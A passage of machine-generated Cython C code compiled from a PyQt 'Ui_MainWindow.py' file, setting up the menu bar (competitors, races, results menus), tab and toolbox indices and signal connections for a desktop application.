PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 992, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":993 * self.menuFfff.addAction(self.actionQuitter) * self.menubar.addAction(self.menuFfff.menuAction()) * self.menubar.addAction(self.menuConcurrents.menuAction()) # <<<<<<<<<<<<<< * self.menubar.addAction(self.menuCourses.menuAction()) * self.menubar.addAction(self.menuR_sultats.menuAction()) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addAction); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuConcurrents); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_menuAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 993, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 993, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":994 * self.menubar.addAction(self.menuFfff.menuAction()) * self.menubar.addAction(self.menuConcurrents.menuAction()) * self.menubar.addAction(self.menuCourses.menuAction()) # <<<<<<<<<<<<<< * self.menubar.addAction(self.menuR_sultats.menuAction()) * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addAction); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuCourses); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_menuAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 994, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 994, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":995 * self.menubar.addAction(self.menuConcurrents.menuAction()) * self.menubar.addAction(self.menuCourses.menuAction()) * self.menubar.addAction(self.menuR_sultats.menuAction()) # <<<<<<<<<<<<<< * * self.retranslateUi(MainWindow) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addAction); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuR_sultats); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_menuAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_1) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 995, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 995, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":997 * self.menubar.addAction(self.menuR_sultats.menuAction()) * * self.retranslateUi(MainWindow) # <<<<<<<<<<<<<< * self.Tab_Container.setCurrentIndex(4) * self.toolBox.setCurrentIndex(1) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_retranslateUi); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 997, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":998 * * self.retranslateUi(MainWindow) * self.Tab_Container.setCurrentIndex(4) # <<<<<<<<<<<<<< * self.toolBox.setCurrentIndex(1) * self.toolBox.layout().setSpacing(6) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 998, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setCurrentIndex); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 998, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__603, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 998, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":999 * self.retranslateUi(MainWindow) * self.Tab_Container.setCurrentIndex(4) * self.toolBox.setCurrentIndex(1) # <<<<<<<<<<<<<< * self.toolBox.layout().setSpacing(6) * self.RB_Add.released.connect(MainWindow.update) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 999, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setCurrentIndex); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 999, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__604, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 999, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":1000 * self.Tab_Container.setCurrentIndex(4) * self.toolBox.setCurrentIndex(1) * self.toolBox.layout().setSpacing(6) # <<<<<<<<<<<<<< * self.RB_Add.released.connect(MainWindow.update) * self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_layout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1000, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__605, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":1001 * self.toolBox.setCurrentIndex(1) * self.toolBox.layout().setSpacing(6) * self.RB_Add.released.connect(MainWindow.update) # <<<<<<<<<<<<<< * self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) * QtCore.QMetaObject.connectSlotsByName(MainWindow) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_released); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connect); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_update); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1001, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":1002 * self.toolBox.layout().setSpacing(6) * self.RB_Add.released.connect(MainWindow.update) * self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) # <<<<<<<<<<<<<< * QtCore.QMetaObject.connectSlotsByName(MainWindow) * */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_currentChanged); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyObject_GetItem(__pyx_t_6, __pyx_n_u_int); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_connect); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setFocus); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1002, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); 